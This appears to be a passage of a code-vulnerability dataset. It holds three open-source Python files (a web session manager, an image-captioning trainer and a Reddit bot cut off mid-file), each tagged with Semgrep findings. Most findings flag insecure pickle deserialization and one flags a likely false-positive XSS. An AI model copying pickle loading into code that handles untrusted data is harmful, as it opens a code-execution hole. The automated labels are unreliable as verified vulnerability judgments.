"MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
119
] | [
119
] | [
13
] | [
39
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | logger.py | /DeepEBM/Utils/checkpoints/logger.py | pkulwj1994/FD-ScoreMatching | MIT | |
2024-11-18T19:10:00.318060+00:00 | 1,504,601,945,000 | bc7595ce7e96f46190dca472d746a75055af62df | 2 | {
"blob_id": "bc7595ce7e96f46190dca472d746a75055af62df",
"branch_name": "refs/heads/master",
"committer_date": 1504601945000,
"content_id": "3b81a27c3b4345e5456a1d56a1960a7a83e42af8",
"detected_licenses": [
"MIT"
],
"directory_id": "a3a9b63b9b2cac05be8e6a2727aebdcf334395c4",
"extension": "py",
"filename": "websession.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13423,
"license": "MIT",
"license_type": "permissive",
"path": "/xmantissa/websession.py",
"provenance": "stack-edu-0054.json.gz:570578",
"repo_name": "isabella232/mantissa",
"revision_date": 1504601945000,
"revision_id": "53e5502aba23ce99be78b27f923a276593033fe8",
"snapshot_id": "3640dfd0f729be0108326907e9103a3e55c21553",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/isabella232/mantissa/53e5502aba23ce99be78b27f923a276593033fe8/xmantissa/websession.py",
"visit_date": "2023-03-16T05:58:24.764195"
} | 2.453125 | stackv2 | # -*- test-case-name: xmantissa.test.test_websession -*-
# Copyright 2005 Divmod, Inc. See LICENSE file for details
"""
Sessions that persist in the database.
Every L{SESSION_CLEAN_FREQUENCY} seconds, a pass is made over all persistent
sessions, and those that are more than L{PERSISTENT_SESSION_LIFETIME} seconds
old are deleted. Transient sessions die after L{TRANSIENT_SESSION_LIFETIME}
seconds.
These three globals can be overridden by passing appropriate values to the
L{PersistentSessionWrapper} constructor: C{sessionCleanFrequency},
C{persistentSessionLifetime}, and C{transientSessionLifetime}.
"""
from datetime import timedelta
from twisted.cred import credentials
from twisted.internet import reactor
from epsilon import extime
from axiom import attributes, item, userbase
from nevow import guard
SESSION_CLEAN_FREQUENCY = 60 * 60 * 25 # 1 day, almost
PERSISTENT_SESSION_LIFETIME = 60 * 60 * 24 * 7 * 2 # 2 weeks
TRANSIENT_SESSION_LIFETIME = 60 * 12 + 32 # 12 minutes, 32 seconds.
def usernameFromRequest(request):
"""
Take an HTTP request and return a username of the form <user>@<domain>.
@type request: L{inevow.IRequest}
@param request: A HTTP request
@return: A C{str}
"""
username = request.args.get('username', [''])[0]
if '@' not in username:
username = '%s@%s' % (
username, request.getHeader('host').split(':')[0])
return username
class PersistentSession(item.Item):
"""
A session that persists on the database.
These sessions should not store any state, but are used only to determine
that the user has previously authenticated and should be given a transient
session (a regular guard session, not database persistent) without
providing credentials again.
"""
typeName = 'persistent_session'
schemaVersion = 1
sessionKey = attributes.bytes(allowNone=False, indexed=True)
lastUsed = attributes.timestamp(defaultFactory=extime.Time, indexed=True)
authenticatedAs = attributes.bytes(allowNone=False, doc="""
The username and domain that this session was authenticated as.
""")
def renew(self):
"""
Renew the lifetime of this object.
Call this when the user logs in so this session does not expire.
"""
self.lastUsed = extime.Time()
class DBPassthrough(object):
"""
A dictionaryish thing that manages sessions and interfaces with guard.
This is set as the C{sessions} attribute on a L{nevow.guard.SessionWrapper}
instance, or in this case, a subclass. Guard uses a vanilla dict by
default; here we pretend to be a dict and introduce persistent-session
behaviour.
"""
def __init__(self, wrapper):
self.wrapper = wrapper
self._transientSessions = {}
def __contains__(self, key):
# We use __getitem__ here so that transient sessions are always
# created. Otherwise, sometimes guard will call __contains__ and assume
# the transient session is there, without creating it.
try:
self[key]
except KeyError:
return False
return True
has_key = __contains__
def __getitem__(self, key):
if key is None:
raise KeyError("None is not a valid session key")
try:
return self._transientSessions[key]
except KeyError:
if self.wrapper.authenticatedUserForKey(key):
session = self.wrapper.sessionFactory(self.wrapper, key)
self._transientSessions[key] = session
session.setLifetime(self.wrapper.sessionLifetime) # screw you guard!
session.checkExpired()
return session
raise
def __setitem__(self, key, value):
self._transientSessions[key] = value
def __delitem__(self, key):
del self._transientSessions[key]
def __repr__(self):
return 'DBPassthrough at %i; %r' % (id(self), self._transientSessions)
class PersistentSessionWrapper(guard.SessionWrapper):
"""
Extends L{nevow.guard.SessionWrapper} to reauthenticate previously
authenticated users.
There are 4 possible states:
1. new user, no persistent session, no transient session
2. anonymous user, no persistent session, transient session
3. returning user, persistent session, no transient session
4. active user, persistent session, transient session
Guard will look in the sessions dict, and if it finds a key matching a
cookie sent by the client, will return the value as the session. However,
if a user has a persistent session cookie, but no transient session, one is
created here.
"""
def __init__(
self,
store,
portal,
transientSessionLifetime=TRANSIENT_SESSION_LIFETIME,
persistentSessionLifetime=PERSISTENT_SESSION_LIFETIME,
sessionCleanFrequency=SESSION_CLEAN_FREQUENCY,
enableSubdomains=False,
domains=(),
clock=None,
**kw):
guard.SessionWrapper.__init__(self, portal, **kw)
self.store = store
self.sessions = DBPassthrough(self)
self.cookieKey = 'divmod-user-cookie'
self.sessionLifetime = transientSessionLifetime
self.persistentSessionLifetime = persistentSessionLifetime
self.sessionCleanFrequency = sessionCleanFrequency
self._enableSubdomains = enableSubdomains
self._domains = domains
self._clock = reactor if clock is None else clock
if self.store is not None:
self._cleanSessions()
def createSessionForKey(self, key, user):
"""
Create a persistent session in the database.
@type key: L{bytes}
@param key: The persistent session identifier.
@type user: L{bytes}
@param user: The username the session will belong to.
"""
PersistentSession(
store=self.store,
sessionKey=key,
authenticatedAs=user)
def authenticatedUserForKey(self, key):
"""
Find a persistent session for a user.
@type key: L{bytes}
@param key: The persistent session identifier.
@rtype: L{bytes} or C{None}
@return: The avatar ID the session belongs to, or C{None} if no such
session exists.
"""
session = self.store.findFirst(
PersistentSession, PersistentSession.sessionKey == key)
if session is None:
return None
else:
session.renew()
return session.authenticatedAs
def removeSessionWithKey(self, key):
"""
Remove a persistent session, if it exists.
@type key: L{bytes}
@param key: The persistent session identifier.
"""
self.store.query(
PersistentSession,
PersistentSession.sessionKey == key).deleteFromStore()
def _cleanSessions(self):
"""
Clean expired sesisons.
"""
tooOld = extime.Time() - timedelta(seconds=PERSISTENT_SESSION_LIFETIME)
self.store.query(
PersistentSession,
PersistentSession.lastUsed < tooOld).deleteFromStore()
self._lastClean = self._clock.seconds()
def _maybeCleanSessions(self):
"""
Clean expired sessions if it's been long enough since the last clean.
"""
sinceLast = self._clock.seconds() - self._lastClean
if sinceLast > self.sessionCleanFrequency:
self._cleanSessions()
def cookieDomainForRequest(self, request):
"""
Pick a domain to use when setting cookies.
@type request: L{nevow.inevow.IRequest}
@param request: Request to determine cookie domain for
@rtype: C{str} or C{None}
@return: Domain name to use when setting cookies, or C{None} to
indicate that only the domain in the request should be used
"""
host = request.getHeader('host')
if host is None:
# This is a malformed request that we cannot possibly handle
# safely, fall back to the default behaviour.
return None
host = host.split(':')[0]
for domain in self._domains:
suffix = "." + domain
if host == domain:
# The request is for a domain which is directly recognized.
if self._enableSubdomains:
# Subdomains are enabled, so the suffix is returned to
# enable the cookie for this domain and all its subdomains.
return suffix
# Subdomains are not enabled, so None is returned to allow the
# default restriction, which will enable this cookie only for
# the domain in the request, to apply.
return None
if self._enableSubdomains and host.endswith(suffix):
# The request is for a subdomain of a directly recognized
# domain and subdomains are enabled. Drop the unrecognized
# subdomain portion and return the suffix to enable the cookie
# for this domain and all its subdomains.
return suffix
if self._enableSubdomains:
# No directly recognized domain matched the request. If subdomains
# are enabled, prefix the request domain with "." to make the
# cookie valid for that domain and all its subdomains. This
# probably isn't extremely useful. Perhaps it shouldn't work this
# way.
return "." + host
# Subdomains are disabled and the domain from the request was not
# recognized. Return None to get the default behavior.
return None
def savorSessionCookie(self, request):
"""
Make the session cookie last as long as the persistent session.
@type request: L{nevow.inevow.IRequest}
@param request: The HTTP request object for the guard login URL.
"""
cookieValue = request.getSession().uid
request.addCookie(
self.cookieKey, cookieValue, path='/',
max_age=PERSISTENT_SESSION_LIFETIME,
domain=self.cookieDomainForRequest(request))
def login(self, request, session, creds, segments):
"""
Called to check the credentials of a user.
Here we extend guard's implementation to preauthenticate users if they
have a valid persistent session.
@type request: L{nevow.inevow.IRequest}
@param request: The HTTP request being handled.
@type session: L{nevow.guard.GuardSession}
@param session: The user's current session.
@type creds: L{twisted.cred.credentials.ICredentials}
@param creds: The credentials the user presented.
@type segments: L{tuple}
@param segments: The remaining segments of the URL.
@return: A deferred firing with the user's avatar.
"""
self._maybeCleanSessions()
if isinstance(creds, credentials.Anonymous):
preauth = self.authenticatedUserForKey(session.uid)
if preauth is not None:
self.savorSessionCookie(request)
creds = userbase.Preauthenticated(preauth)
def cbLoginSuccess(input):
"""
User authenticated successfully.
Create the persistent session, and associate it with the
username. (XXX it doesn't work like this now)
"""
user = request.args.get('username')
if user is not None:
# create a database session and associate it with this user
cookieValue = session.uid
if request.args.get('rememberMe'):
self.createSessionForKey(cookieValue, creds.username)
self.savorSessionCookie(request)
return input
return (
guard.SessionWrapper.login(
self, request, session, creds, segments)
.addCallback(cbLoginSuccess))
def explicitLogout(self, session):
"""
Handle a user-requested logout.
Here we override guard's behaviour for the logout action to delete the
persistent session. In this case the user has explicitly requested a
logout, so the persistent session must be deleted to require the user
to log in on the next request.
@type session: L{nevow.guard.GuardSession}
@param session: The session of the user logging out.
"""
guard.SessionWrapper.explicitLogout(self, session)
self.removeSessionWithKey(session.uid)
def getCredentials(self, request):
"""
Derive credentials from an HTTP request.
Override SessionWrapper.getCredentials to add the Host: header to the
credentials. This will make web-based virtual hosting work.
@type request: L{nevow.inevow.IRequest}
@param request: The request being handled.
@rtype: L{twisted.cred.credentials.1ICredentials}
@return: Credentials derived from the HTTP request.
"""
username = usernameFromRequest(request)
password = request.args.get('password', [''])[0]
return credentials.UsernamePassword(username, password)
| 396 | 32.9 | 84 | 16 | 2,799 | python | [{"finding_id": "semgrep_rules.python.flask.security.audit.directly-returned-format-string_a0606fa0192dfee5_096f1fe2", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.directly-returned-format-string", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 293, "line_end": 293, "column_start": 13, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.directly-returned-format-string", "path": "/tmp/tmpb8jm_z1l/a0606fa0192dfee5.py", "start": {"line": 293, "col": 13, "offset": 9668}, "end": {"line": 293, "col": 30, "offset": 9685}, "extra": {"message": "Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "category": "security", "technology": ["flask"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.flask.security.audit.directly-returned-format-string"
] | [
"security"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
293
] | [
293
] | [
13
] | [
30
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."
] | [
5
] | [
"HIGH"
] | [
"MEDIUM"
] | websession.py | /xmantissa/websession.py | isabella232/mantissa | MIT | |
2024-11-18T20:15:43.794471+00:00 | 1,553,947,464,000 | 6c79be39237b0545d805788364741b74f17e92a3 | 2 | {
"blob_id": "6c79be39237b0545d805788364741b74f17e92a3",
"branch_name": "refs/heads/master",
"committer_date": 1553947464000,
"content_id": "82a6fa83d092a5882db2fa82fc54c89c77ef740e",
"detected_licenses": [
"MIT"
],
"directory_id": "bf9d7bc2406e317726ed6583243aaafd73d71d4c",
"extension": "py",
"filename": "up_down.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8760,
"license": "MIT",
"license_type": "permissive",
"path": "/up_down.py",
"provenance": "stack-edu-0054.json.gz:570695",
"repo_name": "zmskye/conceptual_captions",
"revision_date": 1553947464000,
"revision_id": "e6abfe135aec0fc093195bd192a6a75439beee0e",
"snapshot_id": "35685cde7f9c3b654fbd11b714fb18c90abe82e2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/zmskye/conceptual_captions/e6abfe135aec0fc093195bd192a6a75439beee0e/up_down.py",
"visit_date": "2020-05-27T20:37:29.621213"
} | 2.359375 | stackv2 | """Author: Brandon Trabucco, Copyright 2019
Loads images from the conceptual captions dataset and trains a show and tell model."""
import tensorflow as tf
import pickle as pkl
import os
import time
import numpy as np
import itertools
from tensorflow.contrib.slim.python.slim.nets.resnet_v2 import resnet_v2_101
from tensorflow.contrib.slim.python.slim.nets.resnet_v2 import resnet_arg_scope
import captionkit
from captionkit.up_down_cell import UpDownCell
from captionkit.image_captioner import ImageCaptioner
from captionkit.resnet_v2_101 import ResNet
def get_dataset(tfrecord_file_pattern, image_height, image_width,
num_epochs, batch_size, device="/gpu:0"):
dataset = tf.data.Dataset.list_files(tfrecord_file_pattern).apply(
tf.data.experimental.parallel_interleave(tf.data.TFRecordDataset, cycle_length=batch_size, sloppy=True))
def process_tf_record(x):
context, sequence = tf.parse_single_sequence_example(x,
context_features = {"image/data": tf.FixedLenFeature([], dtype=tf.string),
"image/boxes": tf.VarLenFeature(tf.float32),
"image/boxes/shape": tf.FixedLenFeature([2], dtype=tf.int64),
"image/image_id": tf.FixedLenFeature([], dtype=tf.int64)},
sequence_features = {"image/caption": tf.FixedLenSequenceFeature([], dtype=tf.int64)})
image, image_id, caption = context["image/data"], context["image/image_id"], sequence["image/caption"]
boxes = tf.reshape(tf.sparse.to_dense(context["image/boxes"]), context["image/boxes/shape"]) / 512.0
image = tf.image.resize_images(tf.image.convert_image_dtype(tf.image.decode_jpeg(
image, channels=3), dtype=tf.float32), size=[image_height, image_width])
input_length = tf.expand_dims(tf.subtract(tf.shape(caption)[0], 1), 0)
return {"image": image, "image_id": image_id,
"boxes": boxes,
"input_seq": tf.slice(caption, [0], input_length),
"target_seq": tf.slice(caption, [1], input_length),
"indicator": tf.ones(input_length, dtype=tf.int32)}
dataset = dataset.map(process_tf_record, num_parallel_calls=batch_size)
dataset = dataset.apply(tf.contrib.data.ignore_errors())
dataset = dataset.apply(tf.data.experimental.shuffle_and_repeat(batch_size * 10, count=num_epochs))
padded_shapes = {"image": [image_height, image_width, 3], "image_id": [],
"boxes": [None, 4],
"input_seq": [None], "target_seq": [None], "indicator": [None]}
dataset = dataset.padded_batch(batch_size, padded_shapes=padded_shapes)
dataset = dataset.apply(tf.data.experimental.prefetch_to_device(device, buffer_size=1))
return dataset.make_initializable_iterator()
tf.logging.set_verbosity(tf.logging.INFO)
tf.flags.DEFINE_string("tfrecord_file_pattern", "../train_mask_tfrecords/?????.tfrecord", "Pattern of the TFRecord files.")
tf.flags.DEFINE_string("vocab_filename", "../word.vocab", "Path to the vocab file.")
tf.flags.DEFINE_integer("image_height", 256, "")
tf.flags.DEFINE_integer("image_width", 256, "")
tf.flags.DEFINE_integer("num_epochs", 10, "")
tf.flags.DEFINE_integer("batch_size", 100, "")
FLAGS = tf.flags.FLAGS
class Vocabulary(object):
def __init__(self, vocab_names, start_word, end_word, unk_word):
vocab = dict([(x, y) for (y, x) in enumerate(vocab_names)])
print("Created vocabulary with %d names." % len(vocab_names))
self.vocab = vocab
self.reverse_vocab = vocab_names
self.start_id = vocab[start_word]
self.end_id = vocab[end_word]
self.unk_id = vocab[unk_word]
def word_to_id(self, word):
if isinstance(word, list):
return [self.word_to_id(w) for w in word]
if word not in self.vocab:
return self.unk_id
return self.vocab[word]
def id_to_word(self, index):
if isinstance(index, list):
return [self.id_to_word(i) for i in index]
if index < 0 or index >= len(self.reverse_vocab):
return self.reverse_vocab[self.unk_id]
return self.reverse_vocab[index]
PRINT_STRING = """
({4:.2f} img/sec) iteration: {0:05d} loss: {1:.5f}
caption: {2}
actual: {3}"""
if __name__ == "__main__":
dataset_iterator = get_dataset(FLAGS.tfrecord_file_pattern, FLAGS.image_height, FLAGS.image_width,
FLAGS.num_epochs, FLAGS.batch_size)
with open(FLAGS.vocab_filename, "rb") as f:
reverse_vocab = pkl.load(f) + ("<s>", "</s>", "<unk>")
vocab = Vocabulary(reverse_vocab, "<s>", "</s>", "<unk>")
vocab_table = tf.contrib.lookup.index_to_string_table_from_tensor(reverse_vocab, default_value='<unk>')
dataset_initializer = dataset_iterator.initializer
dataset = dataset_iterator.get_next()
cnn = ResNet(global_pool=False)
image_features = cnn(dataset["image"] / 127.5 - 1.0)
boxes = dataset["boxes"]
batch_size = tf.shape(image_features)[0]
cnn_height = tf.shape(image_features)[1]
cnn_width = tf.shape(image_features)[2]
num_regions = tf.shape(boxes)[1]
boxes = tf.expand_dims(tf.expand_dims(boxes, 3), 4)
y_positions = tf.expand_dims(tf.expand_dims(tf.expand_dims(tf.linspace(0.0, 1.0, cnn_height), 0), 1), 3)
x_positions = tf.expand_dims(tf.expand_dims(tf.expand_dims(tf.linspace(0.0, 1.0, cnn_width), 0), 1), 2)
region_masks = tf.expand_dims(tf.where(
tf.math.logical_and(tf.math.greater_equal(y_positions, boxes[:, :, 0, :, :]),
tf.math.logical_and(tf.math.greater_equal(x_positions, boxes[:, :, 1, :, :]),
tf.math.logical_and(tf.math.less_equal(y_positions, boxes[:, :, 2, :, :]),
tf.math.less_equal(x_positions, boxes[:, :, 3, :, :])))),
tf.ones([batch_size, num_regions, cnn_height, cnn_width]),
tf.zeros([batch_size, num_regions, cnn_height, cnn_width])), 4)
region_features = tf.reduce_sum(
tf.expand_dims(image_features, 1) * region_masks, [2, 3]) / (tf.reduce_sum(
region_masks, [2, 3]) + 1e-9)
upd = UpDownCell(1024)
captioner = ImageCaptioner(upd, vocab, np.random.normal(0, 0.001, [len(reverse_vocab), 1024]))
logits, ids = captioner(lengths=tf.reduce_sum(dataset["indicator"], axis=1),
mean_image_features=tf.reduce_mean(image_features, [1, 2]),
mean_object_features=region_features,
seq_inputs=dataset["input_seq"])
tf.losses.sparse_softmax_cross_entropy(dataset["target_seq"], logits, weights=dataset["indicator"])
loss = tf.losses.get_total_loss()
global_step = tf.train.get_or_create_global_step()
learning_rate = tf.train.exponential_decay(0.001, global_step, 5000, 0.9)
optimizer = tf.train.AdamOptimizer(learning_rate)
learning_step = optimizer.minimize(loss, var_list=captioner.variables, global_step=global_step)
captioner_saver = tf.train.Saver(var_list=captioner.variables + [global_step])
tf.gfile.MakeDirs("./up_down_ckpts/")
with tf.Session() as sess:
resnet_saver = tf.train.Saver(var_list=cnn.variables)
resnet_saver.restore(sess, 'resnet_v2_101.ckpt')
sess.run(dataset_initializer)
sess.run(tf.tables_initializer())
sess.run(tf.variables_initializer(optimizer.variables()))
latest_checkpoint = tf.train.latest_checkpoint("./up_down_ckpts/")
if latest_checkpoint is not None:
captioner_saver.restore(sess, latest_checkpoint)
else:
sess.run(tf.variables_initializer(captioner.variables + [global_step]))
captioner_saver.save(sess, "./up_down_ckpts/model.ckpt", global_step=global_step)
last_save = time.time()
for i in itertools.count():
time_start = time.time()
try:
_, np_loss = sess.run([learning_step, loss])
#caption = sess.run(tf.strings.reduce_join(vocab_table.lookup(tf.cast(ids, tf.int64)), axis=1, separator=" "))
except Exception as e:
print(e)
break
print("Finished iteration {0} with ({1:.2f} img/sec) loss was {2:.5f}".format(
i, FLAGS.batch_size / (time.time() - time_start), np_loss))
#print(caption[0])
new_save = time.time()
if new_save - last_save > 3600: # save the model every hour
captioner_saver.save(sess, "./up_down_ckpts/model.ckpt", global_step=global_step)
last_save = new_save
captioner_saver.save(sess, "./up_down_ckpts/model.ckpt", global_step=global_step)
print("Finishing training.") | 171 | 49.24 | 126 | 20 | 2,113 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_7d301f72c3d35dc3_c0401502", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 25, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/7d301f72c3d35dc3.py", "start": {"line": 96, "col": 25, "offset": 4479}, "end": {"line": 96, "col": 36, "offset": 4490}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
96
] | [
96
] | [
25
] | [
36
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | up_down.py | /up_down.py | zmskye/conceptual_captions | MIT | |
2024-11-18T20:15:46.648569+00:00 | 1,644,885,874,000 | 7037cfcfdf0d7fdd860cbe695ae367173e3babe2 | 3 | {
"blob_id": "7037cfcfdf0d7fdd860cbe695ae367173e3babe2",
"branch_name": "refs/heads/master",
"committer_date": 1644885874000,
"content_id": "01e0e028e02871b36113d7ef9e983db539e2bc9f",
"detected_licenses": [
"MIT"
],
"directory_id": "8e5e5bb63357ac0dbe22c43b8c3c1374b7c263c7",
"extension": "py",
"filename": "garlicbot.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 115515061,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7427,
"license": "MIT",
"license_type": "permissive",
"path": "/RedditBotCore/garlicbot.py",
"provenance": "stack-edu-0054.json.gz:570728",
"repo_name": "tim-clifford/RedditGarlicRobot",
"revision_date": 1644885874000,
"revision_id": "c1723d3502c3cb74f9d48854432413d8737bb5aa",
"snapshot_id": "98f240ef366eb2020784ed9b0497882a1efe40a3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/tim-clifford/RedditGarlicRobot/c1723d3502c3cb74f9d48854432413d8737bb5aa/RedditBotCore/garlicbot.py",
"visit_date": "2022-02-17T18:12:25.909369"
} | 2.59375 | stackv2 | # Created by Rudy Pikulik 04/17
# Forked by Tim Clifford 12/17
# Last updated 12/17
import praw
import pickle
import time
from random import choice
from Structures.Queue import Queue
GARLIC = [
'https://i.imgur.com/dYGNvmR.jpg',
'https://i.imgur.com/etMqixE.jpg',
'https://i.imgur.com/NHbZOT6.jpg',
'https://i.redd.it/0cy3nmwrucwz.jpg',
'https://i.imgur.com/B7tVoVt.jpg'
]
'''
All banned users in the form username, reason, score
'''
banned_users = {
(
"superficialpickle444",
"Grand Garlic Fraud, 1st Degree bamboozlement, and karma-whoring",
-1
)
}
with open('id.txt','r') as f:
rsr = praw.Reddit(client_id=f.readline()[:-1],
client_secret=f.readline()[:-1],
user_agent='garlicbot v0.1',
username='garlicbot',
password=f.readline()[:-1])
file = 'RSRQueue.p'
command = '!redditgarlic'
banned_subs = ["slayone"]
def validate_comment(comment):
# Decides whether or not to reply to a given comment.
# - Must contain command
# - Must not have already replied
# - Must not reply to self
if command in comment.body.lower():
queue = pickle.load(open(file, "rb"))
if not queue:
queue = Queue()
data = pickle.load(open('RSRData.p', 'rb'))
# Already in the queue, don't add.
if queue.contains(comment.id) or comment.id in [x[0] for x in data]:
return False
# We wrote the comment, don't loop.
if comment.author.name is "garlicbot":
_register_comment(comment, "Cannot respond to self.")
return False
# Parent comment was deleted, don't respond.
if get_receiver(comment) == '[deleted]':
_register_comment(comment, "Parent comment was deleted!")
return False
# We've blacklisted this sub, don't respond.
if comment.subreddit.display_name.lower() in banned_subs:
_register_comment(comment, "Subreddit is blacklisted!")
return False
comment.refresh()
for child_comment in comment.replies:
if child_comment.author.name == "garlicbot":
_register_comment(comment, "Already replied to this comment. Will not do it again.")
return False
return True
return False
def reply(comment):
# Makes a message and replies to the given comment.
timestr = str(time.localtime()[3]) + ":" + str(time.localtime()[4])
try:
message = _make_message(comment)
comment.reply(message)
print("> %s - Posted: %s -> " % (timestr, comment.author.name) + get_receiver(comment))
_register_comment(comment, "Posted!")
except Exception as comment_exception:
try:
print(comment_exception)
print("> %s - Unable to post comment: %s -> " % (timestr, comment.author.name) + get_receiver(comment))
_register_comment(comment, "Unable to post. Reason: %s" % comment_exception)
except Exception:
print("> %s - Unable to post comment for unknown reason" % (timestr))
def _register_comment(comment, result):
# Stores data in a list of tuples
# (ID, (User, Receiver, Time, Result))
tup = (comment.id, (comment.author.name, get_receiver(comment), time.localtime(), result))
data = pickle.load(open("RSRData.p", 'rb'))
if data:
data.append(tup)
else:
data = [tup]
pickle.dump(data, open("RSRData.p", 'wb'))
def get_receiver(comment):
text = comment.body.lower().split()
try:
# Kind of gross looking code below. Splits the comment exactly once at '!Redditgarlic',
# then figures out if the very next character is a new line. If it is, respond to parent.
# If it is not a new line, either respond to the designated person or the parent.
split = comment.body.lower().split(command, 1)[1].replace(' ', '')
if split[0] is "\n":
try:
receiver = comment.parent().author.name
except AttributeError:
receiver = '[deleted]'
else:
receiver = text[text.index(command) + 1]
# An IndexError is thrown if the user did not specify a recipient.
except IndexError:
try:
receiver = comment.parent().author.name
except AttributeError:
receiver = '[deleted]'
# A ValueError is thrown if '!Redditgarlic' is not found. Example: !RedditgarlicTest would throw this.
except ValueError:
return None
if '/u/' in receiver:
receiver = receiver.replace('/u/', '')
if 'u/' in receiver:
receiver = receiver.replace('u/', '')
if '/' in receiver:
receiver = receiver.replace('/', '')
# This line is to change the name from all lowercase.
receiver = rsr.redditor(receiver).name
return receiver
def _garlic_counter(comment):
data_entries = pickle.load(open('RSRData.p', 'rb'))
extra_data = pickle.load(open('ExtraData.p', 'rb'))
count = 0
if data_entries:
receiver = get_receiver(comment)
for entry in [x[1][1] for x in data_entries]:
if entry == receiver:
count += 1
for entry in extra_data[1]:
if entry[0] == receiver:
count += entry[1]
return count+1
else:
return 1
def _make_message(comment):
for user in banned_users:
if get_receiver(comment) == user[0]:
message = get_receiver(comment) + " has been banned from recieving Reddit Garlic"
message += " because of " + user[1] + ".\n\n"
message += get_receiver(comment) + " has received garlic {0} times.".format(user[2])
message += "\n\n\n^I'm ^^a ^^^bot ^^^^for ^^^^questions ^^^^^contact ^^^^^/u/flying_wotsit"
return message
garlic_count = _garlic_counter(comment)
if garlic_count == 1:
s = ""
else:
s = "s"
message = "[**Here's your Reddit Garlic, " + get_receiver(comment)
message += "!**](" + choice(GARLIC) + " \"Reddit Garlic\") \n\n"
message += "/u/" + get_receiver(comment) + " has received garlic " + str(garlic_count)
message += " time%s. (given by /u/" % s
message += comment.author.name + ") "
message += "\n\n\n^I'm ^^a ^^^bot, ^^^^for ^^^^questions ^^^^^contact ^^^^^^/u/flying_wotsit"
return message
if __name__ == '__main__':
try:
